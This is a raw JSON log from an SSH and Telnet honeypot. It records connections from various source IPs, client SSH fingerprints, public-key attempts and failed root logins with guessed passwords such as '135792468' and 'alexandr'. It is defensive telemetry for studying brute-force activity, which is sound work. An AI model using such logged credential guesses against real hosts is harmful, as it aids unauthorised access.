{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:94:34:b4:3f:24:06:26:de:2e:f0:10:b3:1f:ef:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+WASboeOUHhS/iCda/0D0M6Xo3toOupjuGUlVblPHcKUxDnCFVPMfUuWtDQieurEYYA2QIPRgFSkDchMyZNGTo9yRWe1of1C0R4SU6NoHyIeJ6oDLoAW0r9W4V0/gCXabo8oZ0VOQWuxHXpHQIpuz+wy46DEzM5siWaHRhPWxRG0YGc3gPjFGCJ5ETs9a+9vAFKbd9lca/d32VzB5O4UjjznIlm+eyOm9OX+8b/rNujItcf2HxiNaxkzdZItCfz9hnTMn3EvBcF1cNesRLZy6Gmk4lsSjfMPHyyDe9Tsf6erwP0mbJ6slsyRTgMl//mFLpPyi1IcieGIUS5P/U6UX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:42.917262Z","src_ip":"103.176.90.41","session":"19d1d103c50f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:42.942622Z","src_ip":"109.172.54.111","session":"dd347fc7b732","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"54:5b:f9:70:a1:9a:29:b7:3b:1d:d8:96:28:42:9d:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMv0VIQBsORnLoQFanyrh8jqdsmXQe3BsFaQPKrlijKcqZWqsAhsRw23ogMl0hsmPrHfNEKFM805AS/gxQRMdp2jO9AwBG+6vW8uO7YzUuiJLNgOzHK1HMWdUf4lja2w3yOevZ6MRwim4JN/QbwwKnISX6G6guQ2Bg6B+W/kEl0oLp7QbK4idYTZvQatreixb6z79b64hqLLzE0iOxdR04wiGAet/DBFdLfoBiNnXg3DjGw0Xdb/DEmGvQwZyBRlI+ZVflPlQllxaqGh8xm5btHklJ4EJaUPPwLyZ692+jE0iLqQ5oUS/2qzfuNkKOk5KIfO+ub9OYzLHlRAHe3GiiFPgQw2u5GjKK+oqv8RjhREVWofESbT0HteM9sI7fQMVM8eRSGgCuVZF2sMq8nUXCvQh5l3JpkeCKLnF5l2ShcqhcesJeV9v4ySWWIJJrEQCwzvpt1XJFcXLxlQwnIk+NN2xDvhOIPiIR+HScBabYLWNRgNrXWl8OueragvCTTVk8uxFXJ0XhjgJmyWLlCxPwFuW24d5LTMgNMl+CfE5zh+QGy2E4spJ6AJQBHERuguBP6K/vQFl6+EXG6GBQ6wmUaceEmBZRkI7ABcKXBqaw4KDKe32mNIWu23ni4T/SwIiybzlb0BbkA9xj/7bd/xbLQyO4bvqRC+Db5jYfV0XzjQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 54:5b:f9:70:a1:9a:29:b7:3b:1d:d8:96:28:42:9d:bb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:43.003538Z","src_ip":"103.176.90.41","session":"19d1d103c50f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"54:5b:f9:70:a1:9a:29:b7:3b:1d:d8:96:28:42:9d:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMv0VIQBsORnLoQFanyrh8jqdsmXQe3BsFaQPKrlijKcqZWqsAhsRw23ogMl0hsmPrHfNEKFM805AS/gxQRMdp2jO9AwBG+6vW8uO7YzUuiJLNgOzHK1HMWdUf4lja2w3yOevZ6MRwim4JN/QbwwKnISX6G6guQ2Bg6B+W/kEl0oLp7QbK4idYTZvQatreixb6z79b64hqLLzE0iOxdR04wiGAet/DBFdLfoBiNnXg3DjGw0Xdb/DEmGvQwZyBRlI+ZVflPlQllxaqGh8xm5btHklJ4EJaUPPwLyZ692+jE0iLqQ5oUS/2qzfuNkKOk5KIfO+ub9OYzLHlRAHe3GiiFPgQw2u5GjKK+oqv8RjhREVWofESbT0HteM9sI7fQMVM8eRSGgCuVZF2sMq8nUXCvQh5l3JpkeCKLnF5l2ShcqhcesJeV9v4ySWWIJJrEQCwzvpt1XJFcXLxlQwnIk+NN2xDvhOIPiIR+HScBabYLWNRgNrXWl8OueragvCTTVk8uxFXJ0XhjgJmyWLlCxPwFuW24d5LTMgNMl+CfE5zh+QGy2E4spJ6AJQBHERuguBP6K/vQFl6+EXG6GBQ6wmUaceEmBZRkI7ABcKXBqaw4KDKe32mNIWu23ni4T/SwIiybzlb0BbkA9xj/7bd/xbLQyO4bvqRC+Db5jYfV0XzjQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:43.007687Z","src_ip":"103.176.90.41","session":"19d1d103c50f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"39:33:3e:31:37:38:b7:d2:be:64:66:b2:ee:6a:23:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAz5gymJzQjBsJMGupdniV5n6+JnLgEGxDN3U2Lus+vLbQ3iC5N2VxRIG9AnPh9xjryusczmuMTctMmkguzEr8aj8iQE7Z/CllDQz0m7asjgcbHieqSpNbLK16PFsXsBcgtrp8m3DokqFcv7qFM+X3SH/UGTPZROc8NECIBwsxDLP+cCibLUlQ+m3RpRNjWdpaOHhCTjmPe3id8rP9DOCORhxInsi9H2gMQs0st783f/8Pog2N3ISkbjNW+Zj0X8ZHqx6NbHoZL2xHwQPS5IBNOgOu+6jmQVbhng2ugTM3eavDBCg27jjWN8mFKDWHVwhCkPzQs3YW1wHmQu2ai1IUNw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 39:33:3e:31:37:38:b7:d2:be:64:66:b2:ee:6a:23:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:43.094608Z","src_ip":"103.176.90.41","session":"19d1d103c50f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"39:33:3e:31:37:38:b7:d2:be:64:66:b2:ee:6a:23:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAz5gymJzQjBsJMGupdniV5n6+JnLgEGxDN3U2Lus+vLbQ3iC5N2VxRIG9AnPh9xjryusczmuMTctMmkguzEr8aj8iQE7Z/CllDQz0m7asjgcbHieqSpNbLK16PFsXsBcgtrp8m3DokqFcv7qFM+X3SH/UGTPZROc8NECIBwsxDLP+cCibLUlQ+m3RpRNjWdpaOHhCTjmPe3id8rP9DOCORhxInsi9H2gMQs0st783f/8Pog2N3ISkbjNW+Zj0X8ZHqx6NbHoZL2xHwQPS5IBNOgOu+6jmQVbhng2ugTM3eavDBCg27jjWN8mFKDWHVwhCkPzQs3YW1wHmQu2ai1IUNw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:43.100744Z","src_ip":"103.176.90.41","session":"19d1d103c50f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"09:45:8e:d4:f5:ae:a5:b6:b9:8b:a9:e2:a0:a5:af:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIQhj4mksiWXX5nJ1C3nX0NETlUy2viwKYw6+EI6kuQO48HMOP7WobZxfkmNWd3UXeFNFGjf+g9KeLmufp5G60TdpXlsFneBUYIArw5eORvDFPMw3xD24/+7mLL4jo5/bP6QOWYRqe42PCK7GbxG9J2W3lrhwWXO7umdQqShYkZ2ahc6Je+0q9lEUs+6ypcaJJRVWvQ7ACHvGwzuv0V68G4e4ZaOMhTEQkI96MyGOtyWsKETmULFd5NjCwSeHjOUsFldwFxxAhWNciPv6nQaX55eZJnv03LJX0+v7v/j0PogwnzScEvD5e/glNEUoZeUe+KqoT1N6pMEH80oaPKku5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 09:45:8e:d4:f5:ae:a5:b6:b9:8b:a9:e2:a0:a5:af:35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:43.187442Z","src_ip":"103.176.90.41","session":"19d1d103c50f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"09:45:8e:d4:f5:ae:a5:b6:b9:8b:a9:e2:a0:a5:af:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIQhj4mksiWXX5nJ1C3nX0NETlUy2viwKYw6+EI6kuQO48HMOP7WobZxfkmNWd3UXeFNFGjf+g9KeLmufp5G60TdpXlsFneBUYIArw5eORvDFPMw3xD24/+7mLL4jo5/bP6QOWYRqe42PCK7GbxG9J2W3lrhwWXO7umdQqShYkZ2ahc6Je+0q9lEUs+6ypcaJJRVWvQ7ACHvGwzuv0V68G4e4ZaOMhTEQkI96MyGOtyWsKETmULFd5NjCwSeHjOUsFldwFxxAhWNciPv6nQaX55eZJnv03LJX0+v7v/j0PogwnzScEvD5e/glNEUoZeUe+KqoT1N6pMEH80oaPKku5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:43.191413Z","src_ip":"103.176.90.41","session":"19d1d103c50f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:cd:ce:d9:fa:3a:d8:9b:f8:62:f8:9a:92:9c:50:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAl1nrSA4ZoNH2Qgzf+MpdkoehVnsYcg6sE0827Vg2wI4+q5XS3/ijP0en+qPQUFx9jBUGeRGL+RA0YkFf6xcExIMdmrBTSrCfWDqnYkZp9PvSDtBf2amkI7E28GHW3XdcyyLbAFJcxUNLk54AoBn+yyfLM1m2kO5iGROdwmVoWidh+47v566/h4PKoqA9h6jqtq0Oa1cYCficstTjtZbeYHWP8EH/iNkROlP6kStLOsyea13XlHqUsqyGTQzWyLGx0ZZ2L6AsJR4hCxLnhQsR8xqEBOJZ8zV2GQXyru5z2JA3rCYNHOGPw5G44GnaN3bx+496eyyoOjkWg9XbgvvhZwnhPe3pYxwHJKQEerbcmAgwv7ePMQO4A74JvxLAwKaY/7CO7j5BBx1vF/CvHp8/U7GDu8OOQGaV7/ati0tKA3SBAR7sP7yYH1GAJYRZPyTpep1EEc5HqL1zYiHh7PMV0PzWUqPBje+lX12qLSAxNWmbcT+LeSfOXT2tq+tUUd5IiwrYVhjhJidHcZIKLmVZwJPxw4/+YK1dCA8QI5+cEKRUmX8Gh0Vh3vnIkmizPHU/liR/OSnH1n6iKO0vXN3CtVtoE0F0Fa4cIMZpO+2xNbQPXEbZAqHnnCFLYKC/sS3LZ9CnRjNgGFwgN1K0t/JhVegal6X12fNA+P/HqztEjzc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 51:cd:ce:d9:fa:3a:d8:9b:f8:62:f8:9a:92:9c:50:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:43.278408Z","src_ip":"103.176.90.41","session":"19d1d103c50f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:cd:ce:d9:fa:3a:d8:9b:f8:62:f8:9a:92:9c:50:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAl1nrSA4ZoNH2Qgzf+MpdkoehVnsYcg6sE0827Vg2wI4+q5XS3/ijP0en+qPQUFx9jBUGeRGL+RA0YkFf6xcExIMdmrBTSrCfWDqnYkZp9PvSDtBf2amkI7E28GHW3XdcyyLbAFJcxUNLk54AoBn+yyfLM1m2kO5iGROdwmVoWidh+47v566/h4PKoqA9h6jqtq0Oa1cYCficstTjtZbeYHWP8EH/iNkROlP6kStLOsyea13XlHqUsqyGTQzWyLGx0ZZ2L6AsJR4hCxLnhQsR8xqEBOJZ8zV2GQXyru5z2JA3rCYNHOGPw5G44GnaN3bx+496eyyoOjkWg9XbgvvhZwnhPe3pYxwHJKQEerbcmAgwv7ePMQO4A74JvxLAwKaY/7CO7j5BBx1vF/CvHp8/U7GDu8OOQGaV7/ati0tKA3SBAR7sP7yYH1GAJYRZPyTpep1EEc5HqL1zYiHh7PMV0PzWUqPBje+lX12qLSAxNWmbcT+LeSfOXT2tq+tUUd5IiwrYVhjhJidHcZIKLmVZwJPxw4/+YK1dCA8QI5+cEKRUmX8Gh0Vh3vnIkmizPHU/liR/OSnH1n6iKO0vXN3CtVtoE0F0Fa4cIMZpO+2xNbQPXEbZAqHnnCFLYKC/sS3LZ9CnRjNgGFwgN1K0t/JhVegal6X12fNA+P/HqztEjzc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:43.282937Z","src_ip":"103.176.90.41","session":"19d1d103c50f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678123","message":"login attempt [root/12345678123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:43.318074Z","src_ip":"109.172.54.111","session":"dd347fc7b732","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:43.371178Z","src_ip":"103.176.90.41","session":"19d1d103c50f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:44.639247Z","src_ip":"109.172.54.111","session":"dd347fc7b732","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00309348106384,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:46.569139Z","src_ip":"152.42.224.71","session":"61c24a077245","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":57380,"dst_ip":"10.17.0.5","dst_port":22,"session":"334b1fcff714","protocol":"ssh","message":"New connection: 51.250.105.222:57380 (10.17.0.5:22) [session: 334b1fcff714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:47.567016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:47.571138Z","src_ip":"51.250.105.222","session":"334b1fcff714","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:47.701837Z","src_ip":"51.250.105.222","session":"334b1fcff714","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:48.095249Z","src_ip":"51.250.105.222","session":"334b1fcff714","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:32:49.226174Z","src_ip":"51.250.105.222","session":"334b1fcff714","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":34772,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c3b122b208e","protocol":"ssh","message":"New connection: 103.98.149.87:34772 (10.17.0.5:22) [session: 8c3b122b208e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:33:11.059038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:33:11.125567Z","src_ip":"103.98.149.87","session":"8c3b122b208e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:33:11.305329Z","src_ip":"103.98.149.87","session":"8c3b122b208e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"135792468","message":"login attempt [root/135792468] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:33:12.231697Z","src_ip":"103.98.149.87","session":"8c3b122b208e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:33:13.459189Z","src_ip":"103.98.149.87","session":"8c3b122b208e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.30113339424133,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:33:14.217718Z","src_ip":"152.42.224.71","session":"8f5d18278cb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55386,"dst_ip":"10.17.0.5","dst_port":23,"session":"54584e6c62ca","protocol":"telnet","message":"New connection: 152.42.224.71:55386 (10.17.0.5:23) [session: 54584e6c62ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:33:15.536858Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48152,"dst_ip":"10.17.0.5","dst_port":23,"session":"614064df9515","protocol":"telnet","message":"New connection: 152.42.224.71:48152 (10.17.0.5:23) [session: 614064df9515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:33:16.550469Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":50164,"dst_ip":"10.17.0.5","dst_port":22,"session":"29f71ddbf64c","protocol":"ssh","message":"New connection: 185.236.22.41:50164 (10.17.0.5:22) [session: 29f71ddbf64c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:33:27.718524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:33:27.825342Z","src_ip":"185.236.22.41","session":"29f71ddbf64c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:33:27.856539Z","src_ip":"185.236.22.41","session":"29f71ddbf64c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alexandr","message":"login attempt [root/alexandr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:33:28.389221Z","src_ip":"185.236.22.41","session":"29f71ddbf64c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:33:29.751849Z","src_ip":"185.236.22.41","session":"29f71ddbf64c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":53598,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc4da8c4928a","protocol":"ssh","message":"New connection: 45.137.172.116:53598 (10.17.0.5:22) [session: dc4da8c4928a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:33:49.153616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:33:49.158416Z","src_ip":"45.137.172.116","session":"dc4da8c4928a","protocol":"ssh"}
